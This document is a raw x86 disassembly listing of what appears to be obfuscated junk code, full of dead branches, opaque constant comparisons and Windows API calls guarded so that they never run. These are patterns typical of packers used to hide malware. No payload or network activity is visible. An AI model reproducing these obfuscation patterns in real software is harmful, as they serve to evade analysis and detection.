jl 0x46c1af
mov dword [ebp - 0x1da4], 1
jmp 0x46c1b6
and dword [ebp - 0x1da4], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x1da4], eax
je 0x46c1cd
mov dword [ebp - 0x138c], 1
jmp 0x46c1d4
and dword [ebp - 0x138c], 0
imul eax, dword [ebp - 0x138c], 0x23de
cmp eax, dword [ebp - 0x74]
je 0x46c1ef
mov dword [ebp - 0x18ec], 1
jmp 0x46c1f6
and dword [ebp - 0x18ec], 0
mov eax, dword [ebp - 0x18ec]
sub eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x74]
jne 0x46c210
mov dword [ebp - 0x1394], 1
jmp 0x46c217
and dword [ebp - 0x1394], 0
mov eax, dword [ebp - 0x1394]
sub eax, 0x5dadd541
imul eax, dword [ebp - 0x74]
cmp eax, 0x1c1d99ea
jle 0x46c236
and dword [ebp - 0x1b9c], 0
jmp 0x46c240
mov dword [ebp - 0x1b9c], 1
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x1b9c], eax
jg 0x46c25c
or eax, 0xffffffff
je 0x46c25c
mov dword [ebp - 0x139c], 1
jmp 0x46c263
and dword [ebp - 0x139c], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x139c], eax
jle 0x46c27a
mov dword [ebp - 0x18f4], 1
jmp 0x46c281
and dword [ebp - 0x18f4], 0
mov eax, dword [ebp - 0x18f4]
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 1
jl 0x46c2a2
mov dword [ebp - 0x1cfc], 1
jmp 0x46c2a9
and dword [ebp - 0x1cfc], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x438], eax
jne 0x46c2c0
mov dword [ebp - 0x13a4], 1
jmp 0x46c2c7
and dword [ebp - 0x13a4], 0
cmp dword [ebp - 0x13a4], 0xfffffffc
jl 0x46c2dc
mov dword [ebp - 0x13ac], 1
jmp 0x46c2e3
and dword [ebp - 0x13ac], 0
mov eax, dword [ebp - 0x1cfc]
imul eax, dword [ebp - 0x13ac]
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x18fc], eax
mov eax, dword [ebp - 0x18fc]
imul eax, dword [ebp - 0x50]
test eax, eax
jne 0x46c322
mov eax, 0x90538e0e
test eax, eax
jne 0x46c322
and dword [ebp - 0x13b4], 0
jmp 0x46c32c
mov dword [ebp - 0x13b4], 1
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp - 0x13b4]
mov dword [ebp - 0x2004], eax
mov eax, 0xffff
test eax, eax
je 0x46c356
cmp dword [ebp - 0x74], 0
je 0x46c356
mov dword [ebp - 0x1ba4], 1
jmp 0x46c35d
and dword [ebp - 0x1ba4], 0
cmp dword [ebp - 0x1ba4], 0
je 0x46c372
mov dword [ebp - 0x13bc], 1
jmp 0x46c379
and dword [ebp - 0x13bc], 0
cmp dword [ebp - 0x13bc], 0xffffffff
jl 0x46c38e
mov dword [ebp - 0x1904], 1
jmp 0x46c395
and dword [ebp - 0x1904], 0
mov eax, dword [ebp - 0x1904]
sub eax, dword [ebp - 0x74]
je 0x46c3a4
xor eax, eax
jne 0x46c3b2
or eax, 0xffffffff
jne 0x46c3b2
and dword [ebp - 0x13c4], 0
jmp 0x46c3bc
mov dword [ebp - 0x13c4], 1
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x13c4]
jl 0x46c3d3
mov dword [ebp - 0x1dfc], 1
jmp 0x46c3da
and dword [ebp - 0x1dfc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1dfc]
mov dword [ebp + eax - 0x226c], ecx
mov dword [ebp - 0x3a4], 0x8a61928c
mov dword [ebp - 0x1b4], 0xa1c3
mov dword [ebp - 0x13d4], 0x1ba80278
mov dword [ebp - 0x13dc], 0xfffffff9
mov dword [ebp - 0x984], 0x22b60780
mov dword [ebp - 0x1924], 0x3610cb4e
mov dword [ebp - 0x860], 0
jmp 0x46c442
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
cmp dword [ebp - 0x860], 3
jge 0x46c45e
mov eax, dword [ebp - 0x860]
mov dword [ebp + eax*4 - 0x1de0], 0
jmp 0x46c435
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1de0], 0
jne 0x46c5b2
mov eax, 0x2b96ce02
test eax, eax
je 0x46c520
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1b4]
cmp dword [ebp + eax - 0x1de0], ecx
je 0x46c49e
mov dword [ebp - 0x13cc], 1
jmp 0x46c4a5
and dword [ebp - 0x13cc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1de0]
cmp dword [ebp - 0x13cc], eax
jle 0x46c4c5
mov dword [ebp - 0x190c], 1
jmp 0x46c4cc
and dword [ebp - 0x190c], 0
imul eax, dword [ebp - 0x190c], 0x915
mov dword [ebp - 0x13d4], eax
cmp dword [ebp - 0x13d4], 6
je 0x46c4f1
mov dword [ebp - 0x1bac], 1
jmp 0x46c4f8
and dword [ebp - 0x1bac], 0
mov eax, dword [ebp - 0x1b4]
imul eax, dword [ebp - 0x1bac]
mov dword [ebp - 0x13dc], eax
cmp dword [ebp - 0x13dc], 0
je 0x46c520
mov dword [ebp - 0x1914], 1
jmp 0x46c527
and dword [ebp - 0x1914], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x1914], eax
je 0x46c54a
cmp dword [ebp - 0x1b4], 0
je 0x46c54a
mov dword [ebp - 0x13e4], 1
jmp 0x46c551
and dword [ebp - 0x13e4], 0
mov eax, dword [ebp - 0x13e4]
mov dword [ebp - 0x984], eax
mov eax, dword [ebp - 0x984]
sub eax, dword [ebp - 0x1b4]
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x1de0]
sub ecx, eax
je 0x46c58e
mov eax, 0xe9e5
test eax, eax
je 0x46c58e
mov dword [ebp - 0x1d04], 1
jmp 0x46c595
and dword [ebp - 0x1d04], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1de0]
cmp eax, dword [ebp - 0x1d04]
jl 0x46c5b2
and dword [ebp - 0x200c], 0
jmp 0x46c5bc
mov dword [ebp - 0x200c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1de0]
mov dword [ebp - 0x2ec0], eax
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x13ec], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x13ec]
mov dword [ebp + eax - 0x1de0], ecx
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1b4]
cmp dword [ebp + eax - 0x1de0], ecx
je 0x46c614
cmp dword [ebp - 0x984], 0
jne 0x46c614
and dword [ebp - 0x191c], 0
jmp 0x46c61e
mov dword [ebp - 0x191c], 1
mov eax, dword [ebp - 0x191c]
add eax, 0x10ceb2bf
cmp eax, dword [ebp - 0x1b4]
jg 0x46c63d
mov dword [ebp - 0x13f4], 1
jmp 0x46c644
and dword [ebp - 0x13f4], 0
cmp dword [ebp - 0x13f4], 0x73f5cfeb
jne 0x46c65c
mov dword [ebp - 0x1bb4], 1
jmp 0x46c663
and dword [ebp - 0x1bb4], 0
mov eax, dword [ebp - 0x1924]
cmp dword [ebp - 0x1bb4], eax
jl 0x46c67d
mov dword [ebp - 0x13fc], 1
jmp 0x46c684
and dword [ebp - 0x13fc], 0
mov eax, dword [ebp - 0x13fc]
mov dword [ebp - 0x1924], eax
mov dword [ebp - 0x21ac], 0xd193
mov dword [ebp - 0x25f8], 5
mov dword [ebp - 0x25f4], 5
mov dword [ebp - 0x25f0], 5
mov dword [ebp - 0x25ec], 5
lea ecx, [ebp - 0x99d]
call fcn.0042ed2d
push eax
lea eax, [ebp - 0x25e8]
push eax
lea eax, [ebp - 0x25f8]
push eax
lea ecx, [ebp - 0x2f8c]
call fcn.0042ed30
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2f34]
call fcn.0042ecdc
mov dword [ebp - 0x6bc], 7
mov dword [ebp - 0x6bc], 0
jmp 0x46c71a
mov eax, dword [ebp - 0x6bc]
inc eax
mov dword [ebp - 0x6bc], eax
cmp dword [ebp - 0x6bc], 3
jg 0x46c745
mov byte [ebp - 0x265], 0
movzx eax, byte [ebp - 0x265]
test eax, eax
je 0x46c743
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
jmp 0x46c70d
lea ecx, [ebp - 0x2f34]
call fcn.0042ed02
mov dword [ebp - 0x2854], 0x29edca8f
mov dword [ebp - 0x2de4], 0xe0bcd8c4
mov dword [ebp - 0x6c4], 0xe56f9b2c
mov dword [ebp - 0x285c], 7
push 2
lea ecx, [ebp - 0x2758]
call fcn.0042ec30
mov dword [ebp - 0x2b58], 1
mov dword [ebp - 0x2864], 0xfffffff9
mov dword [ebp - 0x2d4c], 0x6552
mov dword [ebp - 0x2c4], 0xa058
mov dword [ebp - 0x6e0], 0
jmp 0x46c7c6
mov eax, dword [ebp - 0x6e0]
inc eax
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 2
jge 0x46c7e8
push dword [ebp - 0x6e0]
lea ecx, [ebp - 0x2758]
call fcn.0042ed1e
mov dword [eax], 0x99fb023e
jmp 0x46c7b9
mov eax, dword [ebp - 0x2c4]
dec eax
mov dword [ebp - 0x2c4], eax
mov dword [ebp - 0x6c4], 0xffffffe6
jmp 0x46c80e
mov eax, dword [ebp - 0x6c4]
inc eax
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 0xfffffff2
jne 0x46c851
mov dword [ebp - 0x2c4], 0
jmp 0x46c830
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 2
jge 0x46c84f
push dword [ebp - 0x2c4]
lea ecx, [ebp - 0x2758]
call fcn.0042ed1e
or dword [eax], 0xffffffff
jmp 0x46c823
jmp 0x46c801
lea ecx, [ebp - 0x2758]
call fcn.0042ed02
mov dword [ebp - 0x3a4], 9
jmp 0x46c875
mov eax, dword [ebp - 0x3a4]
dec eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 4
je 0x46d14d
mov dword [ebp - 0x394], 0xfffffffd
mov dword [ebp - 0x6dc], 0xfffffffc
mov dword [ebp - 0x6cc], 0xd5f8d9a2
mov dword [ebp - 0x98c], 0x6aac8953
mov dword [ebp - 0x2838], 0x8475761a
mov dword [ebp - 0x2834], 0x8475761a
mov dword [ebp - 0x2830], 0x8475761a
mov dword [ebp - 0x282c], 0x8475761a
mov dword [ebp - 0x6e4], 0
jmp 0x46c8eb
mov eax, dword [ebp - 0x6e4]
inc eax
mov dword [ebp - 0x6e4], eax
cmp dword [ebp - 0x6e4], 1
jge 0x46c907
mov eax, dword [ebp - 0x6e4]
mov dword [ebp + eax*4 - 0xa48], 0
jmp 0x46c8de
mov dword [ebp - 0x394], 0
jmp 0x46c920
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0
jg 0x46c971
mov byte [ebp - 0x336], 0
movzx eax, byte [ebp - 0x336]
test eax, eax
je 0x46c96f
push 0
push 0x205d
push 0x946
push 0x9e
push 0x2584
push 0xd10
push 0x23a1
push 0x2403
push 0x1fc3
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
jmp 0x46c913
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6dc]
cmp dword [ebp + eax - 0xa48], ecx
jle 0x46c992
mov dword [ebp - 0x140c], 1
jmp 0x46c999
and dword [ebp - 0x140c], 0
mov eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 0
je 0x46c9cf
cmp dword [ebp - 0x6cc], 0
je 0x46c9cf
mov dword [ebp - 0x21a4], 1
jmp 0x46c9d6
and dword [ebp - 0x21a4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa48]
mov dword [ebp - 0x286c], eax
mov eax, 0x6718e503
test eax, eax
je 0x46ca07
mov eax, 0x59bb7a14
test eax, eax
je 0x46ca07
mov dword [ebp - 0x1404], 1
jmp 0x46ca0e
and dword [ebp - 0x1404], 0
cmp dword [ebp - 0x1404], 0xffff
jbe 0x46ca26
mov dword [ebp - 0x1db4], 1
jmp 0x46ca2d
and dword [ebp - 0x1db4], 0
mov eax, dword [ebp - 0x1db4]
mov dword [ebp - 0x98c], eax
mov eax, dword [ebp - 0x98c]
sub eax, dword [ebp - 0x6dc]
imul eax, eax, 0xffffffff
mov ecx, dword [ebp - 0x140c]
sub ecx, eax
push 4
pop eax
imul eax, eax, 0
cmp ecx, dword [ebp + eax - 0xa48]
jg 0x46ca6c
xor eax, eax
jne 0x46ca6c
and dword [ebp - 0x192c], 0
jmp 0x46ca76
mov dword [ebp - 0x192c], 1
mov eax, dword [ebp - 0x192c]
mov dword [ebp - 0x6dc], eax
cmp dword [ebp - 0x6dc], 3
ja 0x46ca97
mov dword [ebp - 0x1414], 1
jmp 0x46ca9e
and dword [ebp - 0x1414], 0
cmp dword [ebp - 0x1414], 0x2d8cb4c2
jne 0x46cabf
cmp dword [ebp - 0x98c], 0
je 0x46cabf
mov dword [ebp - 0x1bbc], 1
jmp 0x46cac6
and dword [ebp - 0x1bbc], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x1bbc]
mov dword [ebp + eax - 0x2838], ecx
mov dword [ebp - 0x2024], 0xffffffff
mov dword [ebp - 0x538], 0x7c87
mov dword [ebp - 0x60], 0xffffffff
or dword [ebp - 0x2620], 0xffffffff
or dword [ebp - 0x261c], 0xffffffff
or dword [ebp - 0x2618], 0xffffffff
or dword [ebp - 0x2614], 0xffffffff
lea ecx, [ebp - 0x9f9]
call fcn.0042ed2d
push eax
lea eax, [ebp - 0x2610]
push eax
lea eax, [ebp - 0x2620]
push eax
lea ecx, [ebp - 0x2fcc]
call fcn.0042ed30
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xb7c]
call fcn.0042ecdc
mov dword [ebp - 0x39c], 0xffffffff
push 1
lea ecx, [ebp - 0x2328]
call fcn.0042ec30
mov dword [ebp - 0x440], 0xf0b53cf5
mov dword [ebp - 0x994], 0xffffffff
mov dword [ebp - 0x1d14], 0
mov dword [ebp - 0x6d4], 0
jmp 0x46cb93
mov eax, dword [ebp - 0x6d4]
inc eax
mov dword [ebp - 0x6d4], eax
cmp dword [ebp - 0x6d4], 1
jge 0x46cbb5
push dword [ebp - 0x6d4]
lea ecx, [ebp - 0x2328]
call fcn.0042ed1e
mov dword [eax], 0xfffffff7
jmp 0x46cb86
cmp dword [ebp - 0x538], 0
je 0x46cc03
mov eax, dword [ebp - 0x39c]
dec eax
mov dword [ebp - 0x39c], eax
push 1
lea ecx, [ebp - 0xb7c]
call fcn.0042ed1e
cmp dword [eax], 0x7d63
je 0x46cbec
mov dword [ebp - 0x141c], 1
jmp 0x46cbf3
and dword [ebp - 0x141c], 0
push 1
lea ecx, [ebp - 0xb7c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x60]
push 1
lea ecx, [ebp - 0xb7c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x60]
cmp dword [eax], ecx
jle 0x46cc23
mov dword [ebp - 0x9b0], 1
jmp 0x46cc2a
and dword [ebp - 0x9b0], 0
push 1
lea ecx, [ebp - 0xb7c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x9b0]
mov dword [eax], ecx
imul eax, dword [ebp - 0x9b0], 0xf89
cmp eax, dword [ebp - 0x60]
jne 0x46cfa3
mov dword [ebp - 0x1bcc], 4
mov dword [ebp - 0x1424], 0x4acc0136
mov dword [ebp - 0x534], 0x3da550e8
mov dword [ebp - 0x2b60], 0xb6f85a06
push 1
lea ecx, [ebp - 0x2318]
call fcn.0042ec30
mov dword [ebp - 0x2014], 8
mov dword [ebp - 0x6f4], 0
jmp 0x46ccaa
mov eax, dword [ebp - 0x6f4]
inc eax
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x6f4], 1
jge 0x46ccc9
push dword [ebp - 0x6f4]
lea ecx, [ebp - 0x2318]
call fcn.0042ed1e
and dword [eax], 0
jmp 0x46cc9d
mov eax, dword [ebp - 0x440]
mov ecx, dword [ebp - 0x2014]
mov edx, dword [ebp - 0x440]
dec edx
mov dword [ebp - 0x440], edx
cmp ecx, eax
je 0x46cd77
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x534], eax
je 0x46cd01
mov dword [ebp - 0x1934], 1
jmp 0x46cd08
and dword [ebp - 0x1934], 0
mov eax, dword [ebp - 0x1934]
mov dword [ebp - 0x1424], eax
mov eax, dword [ebp - 0x1424]
add eax, dword [ebp - 0x60]
je 0x46cd31
cmp dword [ebp - 0x60], 0
je 0x46cd31
mov dword [ebp - 0x1d0c], 1
jmp 0x46cd38
and dword [ebp - 0x1d0c], 0
cmp dword [ebp - 0x1d0c], 0x350d55fa
jl 0x46cd56
cmp dword [ebp - 0x538], 0
jne 0x46cd56
and dword [ebp - 0x142c], 0
jmp 0x46cd60
mov dword [ebp - 0x142c], 1
mov eax, dword [ebp - 0x39c]
cmp dword [ebp - 0x142c], eax
jle 0x46cd77
and dword [ebp - 0x193c], 0
jmp 0x46cd81
mov dword [ebp - 0x193c], 1
mov eax, dword [ebp - 0x538]
imul eax, dword [ebp - 0x193c]
cmp eax, dword [ebp - 0x534]
jne 0x46cda2
mov dword [ebp - 0x231c], 1
jmp 0x46cda9
and dword [ebp - 0x231c], 0
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x2874], eax
mov esi, dword [ebp - 0x994]
push 0
lea ecx, [ebp - 0x2318]
call fcn.0042ed1e
cmp esi, dword [eax]
jge 0x46cdd8
mov dword [ebp - 0x1434], 1
jmp 0x46cddf
and dword [ebp - 0x1434], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x1434], eax
jl 0x46cdf6
mov dword [ebp - 0x1bc4], 1
jmp 0x46cdfd
and dword [ebp - 0x1bc4], 0
push 1
lea ecx, [ebp - 0xb7c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1bc4]
cmp ecx, dword [eax]
jg 0x46ce20
mov dword [ebp - 0x143c], 1
jmp 0x46ce27
and dword [ebp - 0x143c], 0
mov esi, dword [ebp - 0x60]
imul esi, dword [ebp - 0x143c]
push 0
lea ecx, [ebp - 0x2318]
call fcn.0042ed1e
cmp esi, dword [eax]
jg 0x46ce4e
mov dword [ebp - 0x1944], 1
jmp 0x46ce55
and dword [ebp - 0x1944], 0
mov eax, dword [ebp - 0x1bcc]
cmp eax, dword [ebp - 0x1944]
jg 0x46ce6f
mov dword [ebp - 0x1444], 1
jmp 0x46ce76
and dword [ebp - 0x1444], 0
mov eax, dword [ebp - 0x1444]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jae 0x46ce91
mov dword [ebp - 0x1e04], 1
jmp 0x46ce98
and dword [ebp - 0x1e04], 0
mov eax, dword [ebp - 0x534]
cmp dword [ebp - 0x1e04], eax
jg 0x46ceb2
mov dword [ebp - 0x201c], 1
jmp 0x46ceb9
and dword [ebp - 0x201c], 0
push 0
lea ecx, [ebp - 0x2328]
call fcn.0042ed1e
mov dword [ebp - 0x144c], eax
mov eax, dword [ebp - 0x144c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x144c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x534]
cmp dword [ebp - 0x39c], eax
jne 0x46cef7
mov dword [ebp - 0x194c], 1
jmp 0x46cefe
and dword [ebp - 0x194c], 0
cmp dword [ebp - 0x194c], 6
ja 0x46cf13
mov dword [ebp - 0x1454], 1
jmp 0x46cf1a
and dword [ebp - 0x1454], 0
imul eax, dword [ebp - 0x1454], 0xfffffff6
cmp dword [ebp - 0x1bcc], eax
jle 0x46cf35
mov dword [ebp - 0x145c], 1
jmp 0x46cf3c
and dword [ebp - 0x145c], 0
cmp dword [ebp - 0x145c], 0xffffffff
jne 0x46cf51
mov dword [ebp - 0x1954], 1
jmp 0x46cf58
and dword [ebp - 0x1954], 0
push 0
lea ecx, [ebp - 0x2318]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1954]
mov dword [eax], ecx
mov byte [ebp - 0x26d], 0
movzx eax, byte [ebp - 0x26d]
test eax, eax
je 0x46cf96
push 0xffa
push 0x25dc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
lea ecx, [ebp - 0x2318]
call fcn.0042ed02
jmp 0x46cfce
mov byte [ebp - 0x342], 0
movzx eax, byte [ebp - 0x342]
test eax, eax
je 0x46cfce
push 0
push 0xc09
push 0
push 0x3b5
push 0x1432
call dword [sym.imp.GDI32.dll_ExtCreatePen]
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x2e70], eax
mov dword [ebp - 0x60], 0xfffffffb
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x287c], eax
push 2
lea ecx, [ebp - 0xb7c]
call fcn.0042ed1e
push 0
lea ecx, [ebp - 0x2328]
call fcn.0042ed1e
cmp dword [ebp - 0x994], 0x878d
cmp dword [ebp - 0x994], 0xa128
jl 0x46d026
mov dword [ebp - 0x1464], 1
jmp 0x46d02d
and dword [ebp - 0x1464], 0
mov eax, dword [ebp - 0x39c]
mov ecx, dword [ebp - 0x538]
imul ecx, dword [ebp - 0x1464]
add eax, ecx
mov dword [ebp - 0x1d14], eax
mov eax, dword [ebp - 0x440]
cmp dword [ebp - 0x1d14], eax
je 0x46d062
mov dword [ebp - 0x146c], 1
jmp 0x46d069
and dword [ebp - 0x146c], 0
push 0
lea ecx, [ebp - 0x2328]
call fcn.0042ed1e
mov eax, dword [eax]
add eax, dword [ebp - 0x146c]
jne 0x46d09b
push 1
lea ecx, [ebp - 0xb7c]
call fcn.0042ed1e
cmp dword [eax], 0
jne 0x46d09b
and dword [ebp - 0x195c], 0
jmp 0x46d0a5
mov dword [ebp - 0x195c], 1
push 1
lea ecx, [ebp - 0xb7c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x195c]
mov dword [eax], ecx
lea ecx, [ebp - 0x2328]
call fcn.0042ed02
lea ecx, [ebp - 0xb7c]
call fcn.0042ed02
cmp dword [ebp - 0x3a4], 0
je 0x46d0e5
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x2b68], eax
cmp dword [ebp - 0x21ac], 1
je 0x46d0fa
mov dword [ebp - 0x1474], 1
jmp 0x46d101
and dword [ebp - 0x1474], 0
cmp dword [ebp - 0x1474], 0x66a92721
jg 0x46d119
mov dword [ebp - 0x1bd4], 1
jmp 0x46d120
and dword [ebp - 0x1bd4], 0
cmp dword [ebp - 0x1bd4], 0xffffffff
jge 0x46d135
mov dword [ebp - 0x147c], 1
jmp 0x46d13c
and dword [ebp - 0x147c], 0
mov eax, dword [ebp - 0x147c]
mov dword [ebp - 0x2024], eax
jmp 0x46c868
mov dword [ebp - 0xb4], 0x91a049fe
push 4
lea ecx, [ebp - 0x2770]
call fcn.0042ec30
mov dword [ebp - 0x540], 0
jmp 0x46d17d
mov eax, dword [ebp - 0x540]
inc eax
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 4
jge 0x46d19f
push dword [ebp - 0x540]
lea ecx, [ebp - 0x2770]
call fcn.0042ed1e
mov dword [eax], 0xfffffff8
jmp 0x46d170
mov dword [ebp - 0xb4], 2
jmp 0x46d1b8
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0x11
jl 0x46d3cd
mov dword [ebp - 0x9c4], 1
mov dword [ebp - 0x1974], 0
mov dword [ebp - 0x198], 0
jmp 0x46d1f2
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 2
jge 0x46d20e
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x1f80], 0x74edf0eb
jmp 0x46d1e5
mov dword [ebp - 0x198], 0
jmp 0x46d227
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 2
jge 0x46d243
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x2b40], 0xffffffff
jmp 0x46d21a
cmp dword [ebp - 0x9c4], 0xffffffff
je 0x46d258
mov dword [ebp - 0x1964], 1
jmp 0x46d25f
and dword [ebp - 0x1964], 0
mov eax, dword [ebp - 0x9c4]
cmp eax, dword [ebp - 0x1964]
jge 0x46d279
mov dword [ebp - 0x1484], 1
jmp 0x46d280
and dword [ebp - 0x1484], 0
mov eax, dword [ebp - 0xb4]
add eax, dword [ebp - 0x1484]
je 0x46d29a
mov dword [ebp - 0x1dc4], 1
jmp 0x46d2a1
and dword [ebp - 0x1dc4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1f80]
add eax, dword [ebp - 0x1dc4]
je 0x46d2cb
cmp dword [ebp - 0x1974], 0
je 0x46d2cb
mov dword [ebp - 0x148c], 1
jmp 0x46d2d2
and dword [ebp - 0x148c], 0
mov eax, dword [ebp - 0xb4]
add eax, dword [ebp - 0x148c]
cmp eax, 0xffff
jbe 0x46d301
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1f80], 0
je 0x46d301
mov dword [ebp - 0x196c], 1
jmp 0x46d308
and dword [ebp - 0x196c], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x196c], eax
jle 0x46d322
mov dword [ebp - 0x1494], 1
jmp 0x46d329
and dword [ebp - 0x1494], 0
mov eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0x1494]
jge 0x46d343
mov dword [ebp - 0x1bdc], 1
jmp 0x46d34a
and dword [ebp - 0x1bdc], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x1bdc], eax
jle 0x46d364
mov dword [ebp - 0x149c], 1
jmp 0x46d36b
and dword [ebp - 0x149c], 0
mov esi, dword [ebp - 0xb4]
sub esi, dword [ebp - 0x149c]
imul esi, dword [ebp - 0x1974]
push 0
lea ecx, [ebp - 0x2770]
call fcn.0042ed1e
mov dword [eax], esi
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1f80]
cmp dword [ebp - 0x9c4], eax
jg 0x46d3ae
mov dword [ebp - 0x14a4], 1
jmp 0x46d3b5
and dword [ebp - 0x14a4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x14a4]
mov dword [ebp + eax - 0x2b40], ecx
jmp 0x46d1ab
lea ecx, [ebp - 0x2770]
call fcn.0042ed02
mov dword [ebp - 0x558], 0x1b35d569
mov dword [ebp - 0x550], 0x847d228d
mov dword [ebp - 0x560], 0x53e80c65
mov dword [ebp - 0x1c], 0xee05243b
mov dword [ebp - 0x548], 0
jmp 0x46d416
mov eax, dword [ebp - 0x548]
inc eax
mov dword [ebp - 0x548], eax
cmp dword [ebp - 0x548], 4
jge 0x46d432
mov eax, dword [ebp - 0x548]
mov dword [ebp + eax*4 - 0x41c], 0xffffffff
jmp 0x46d409
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x41c]
mov dword [ebp - 0x2884], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x41c]
mov dword [ebp - 0x558], eax
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0x2d54], eax
mov eax, dword [ebp - 0x558]
push 4
pop ecx
imul ecx, ecx, 3
imul eax, dword [ebp + ecx - 0x41c]
cmp eax, 3
jne 0x46d48f
mov eax, 0xf871
test eax, eax
jne 0x46d48f
and dword [ebp - 0x1d1c], 0
jmp 0x46d499
mov dword [ebp - 0x1d1c], 1
mov eax, dword [ebp - 0x1d1c]
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 0
je 0x46d4c3
cmp dword [ebp - 0x550], 0
je 0x46d4c3
mov dword [ebp - 0x14ac], 1
jmp 0x46d4ca
and dword [ebp - 0x14ac], 0
cmp dword [ebp - 0x14ac], 2
jle 0x46d4df
mov dword [ebp - 0x197c], 1
jmp 0x46d4e6
and dword [ebp - 0x197c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x41c]
cmp dword [ebp - 0x197c], eax
je 0x46d507
mov dword [ebp - 0x14b4], 1
jmp 0x46d50e
and dword [ebp - 0x14b4], 0
mov eax, dword [ebp - 0x14b4]
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 0
jne 0x46d535
cmp dword [ebp - 0x550], 0
jne 0x46d535
and dword [ebp - 0x1be4], 0
jmp 0x46d53f
mov dword [ebp - 0x1be4], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x41c]
imul eax, dword [ebp - 0x1be4]
test eax, eax
je 0x46d56c
cmp dword [ebp - 0x558], 0
je 0x46d56c
mov dword [ebp - 0x14bc], 1
jmp 0x46d573
and dword [ebp - 0x14bc], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x41c]
imul eax, dword [ebp - 0x14bc]
push 4
pop ecx
imul ecx, ecx, 3
cmp eax, dword [ebp + ecx - 0x41c]
jg 0x46d5a2
mov dword [ebp - 0x1984], 1
jmp 0x46d5a9
and dword [ebp - 0x1984], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x41c]
cmp dword [ebp - 0x1984], eax
jne 0x46d5ca
